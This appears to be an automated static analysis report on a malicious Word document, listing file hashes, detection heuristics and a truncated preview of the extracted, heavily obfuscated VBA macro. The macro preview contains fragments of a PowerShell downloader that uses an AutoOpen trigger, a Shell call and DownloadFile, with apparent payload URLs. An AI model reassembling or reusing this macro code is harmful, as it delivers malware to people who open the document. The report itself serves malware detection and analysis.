Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bee15cdcb6da4569…

MALICIOUS

Office (OLE)

174.5 KB Created: 2017-11-30 21:53:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: 007a9b1c36ecd9843462240fc9ba5080 SHA-1: 31c7e0523ae0dca45650a274047749324b1a2c8a SHA-256: bee15cdcb6da456997b8e019a11d8cea1a5f1d38497df7ecac6c75758c25c7e6
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://K4l+K4lwK4l+K4lP8AFcDbFY� In document text (OLE body)
    • http://K4l+K4lwK4l+K4lP8AFcDbFYIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 88371 bytes
SHA-256: 1a0fa9ee5c1f9e0bd2ca131c53963cfae262d51a78a780512c07c4d343c8f871
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iLGdHzrHA"
Function jtTzEtqpGm()
mjEVVcpTo = Array(StrReverse("bMLzzvAisZtaZ"), StrReverse("VsotXrjA"), StrReverse("qWiQVXIlhHoa"), StrReverse("AbwDfTDSB"), StrReverse("hNPSwAJUGbdU"), StrReverse("SffKkoMSkkH"), StrReverse("NzUMQwQppzCGF"), StrReverse("kXnhzkfw"))
kmTIkZdi = Mid("Tw+'K4lloK4l+K4l'+'lympK4l+K4lics.o'+'rg.ua/xWRfHK4l+K4ll/,hK4l+K4'+'lttpK4l+K4l://wK'+'4l+K4lww.cK4l+K4leK4l+K4llebtweets.net'+'/'+'eK4l+K4ldK4l+K4ll/,hsRK+sRKttp:/K4lsRK+'+'sRK+K4lH7LHQ5NzIYQXF43vNF1U7", 3, 180)
imBTsKkls = Array(StrReverse("DhYpfvcn"), StrReverse("zNTFHaOIEcknRk"), StrReverse("DBKmhODiElcXnz"), StrReverse("ilHQoFIuENw"), StrReverse("QnWYlwa"), StrReverse("dkpGhvfPUfCa"), StrReverse("btzjBwsv"), StrReverse("GZkKnuhM"))
ztMkwTkdfzL = Array(StrReverse("YzISdpOwdHa"), StrReverse("DoIqiNfnVcZF"), StrReverse("EofDkWMOTwM"), StrReverse("imzbAZwi"), StrReverse("jjiqVWAKIv"), StrReverse("CrZBistlNXk"), StrReverse("viAbfLUDbaDXE"), StrReverse("MPAMDLA"))
LiVRzlWUqCV = Array(StrReverse("muVEMtYnWE"), StrReverse("wmBKMlTwzR"), StrReverse("FSURBfqfIaqzzX"), StrReverse("VWWEwKFqF"), StrReverse("WoERLJlEqpCjvr"), StrReverse("wqvzFnBnwPzZu"), StrReverse("kzcPVfrmOw"), StrReverse("EuIiNmaiL"))
iMhYuv = Mid("q0fajGihKKGzsRK+sRKly{K4'+'l'+'+K'+'4lc7K4l+K4lYfK4'+'l+K4lrK4l+K4lanc.DK4l+K4loK4l+K4l'+'wnlK4s'+'RK+s'+'RKl+K4loadFK4l+K4lileK4l+K4l(K4l+K4lc7YK4l+K4labc.ToString()K4l+K4l, K4l+K4lcK4l+K4lGvLTwV", 13, 178)
fcNEnTfzEF = Array(StrReverse("FmNwtIfNQAwr"), StrReverse("IUvUznszcoBw"), StrReverse("jilBTZqJdONh"), StrReverse("MXOJCbNRD"), StrReverse("ErEXImdzLCLbBc"), StrReverse("hWAYfGhnj"), StrReverse("VlSlajPcjjK"), StrReverse("BiXzQCiGk"))
XIoETT = Array(StrReverse("TKtAIUBHCOkqjF"), StrReverse("aUaMBKcwjBttF"), StrReverse("cWujVRojPNKp"), StrReverse("MhjNKCrnSAS"), StrReverse("oqLMwOaw"), StrReverse("ZspHOoBrFM"), StrReverse("LjQRAni"), StrReverse("NvKVcZjadWQwj"))
GSfUp = Array(StrReverse("IwGIiJXaF"), StrReverse("ZINvpEQHZY"), StrReverse("zwGiiQFpdSncj"), StrReverse("jpKYVWhGFr"), StrReverse("nMTHXBLYbJA"), StrReverse("iAtRlbF"), StrReverse("fjYGPGjEBJss"), StrReverse("wqElhFQcE"))
qYDRlMUwR = Mid("6EHTRKHAr]67),[CHAr]92-replacE([CHAr]83+sRK+sR'+'K[CHAr]50+[CHAr]120),[CHAr]39)) sRK)  -rEplace ([CHaR]75+[CHaR]52+[CHaR]108),[CHaR]39) S1c .('+' O4SVerBoSEpk3cPKCHH", 5, 153)
NPuhsVjbN = Array(StrReverse("FmprGwOqvMnQw"), StrReverse("auLLjkid"), StrReverse("WMihNXUpO"), StrReverse("SaibJhmbX"), StrReverse("ziLaXAjKESzKbX"), StrReverse("iXPBSbXZw"), StrReverse("hvSCiuILdRo"), StrReverse("HJMoJkw"))
zjNXm = Array(StrReverse("NiofYcF"), StrReverse("izFzGnMrRSGXRQ"), StrReverse("mfJpjDVp"), StrReverse("bbKYaaLc"), StrReverse("NOtIwjQYpowVhn"), StrReverse("aCAOmZsIKvYfco"), StrReverse("qGiaEBOdj"), StrReverse("YHNhqounNz"))
DhjSroZ = Array(StrReverse("QRIJILiKARzlFS"), StrReverse("otozLznt"), StrReverse("FacojYilEEjNBD"), StrReverse("RQfrEKFj"), StrReverse("wGQORnudYIE"), StrReverse("jpacmLjBitnp"), StrReverse("fvUvppAtzqd"), StrReverse("QUQJGpsz"))
VHrLPq = Mid("1sb0YRHjtK4l-hK4l+K4lost cK4l+K4l7'+'K4l+K4lY_.ExK4l+K4lcepK4l+K4ltion.MessK'+'4l+K4lage;}}K4l) -replacE([sRK+sRKCsRK+sRKHAr]99+[CHAr]55+[CHAr]89),[CHAr]36 -re'+'placE ([CHAr]100+[CHAr]72+[CsRK+s2zA6m2iE1OfRB8WW7N", 10, 186)
DZCPiu = Array(StrReverse("awpXUGiNaE"), StrReverse("kYwrqGivLZToO"), StrReverse("ibTGirOqt"), StrReverse("KpDkvjPGV"), StrReverse("XpiwwnESmwGH"), StrReverse("FpfOHwMYtii"), StrReverse("ACwAfJNTdups"), StrReverse("HqmwEvJCOw"))
bwjWRsijibc = Array(StrReverse("haFPRwYfwFT"), StrReverse("klsahjTDolz"), StrReverse("UVrQrbEupBzUOj"), StrReverse("qbOBkKjfiY"), StrReverse("ZFZvnvaIvwHI"), StrReverse("UBYljnXLAMcca"), StrReverse("OnnpIrICwUtN"), StrReverse("uGlbjTb"))
BzHqFbt = Array(StrReverse("TlQIGDpwUoSFTS"), StrReverse("wUPnjCSNHB"), StrReverse("CajB
... (truncated)

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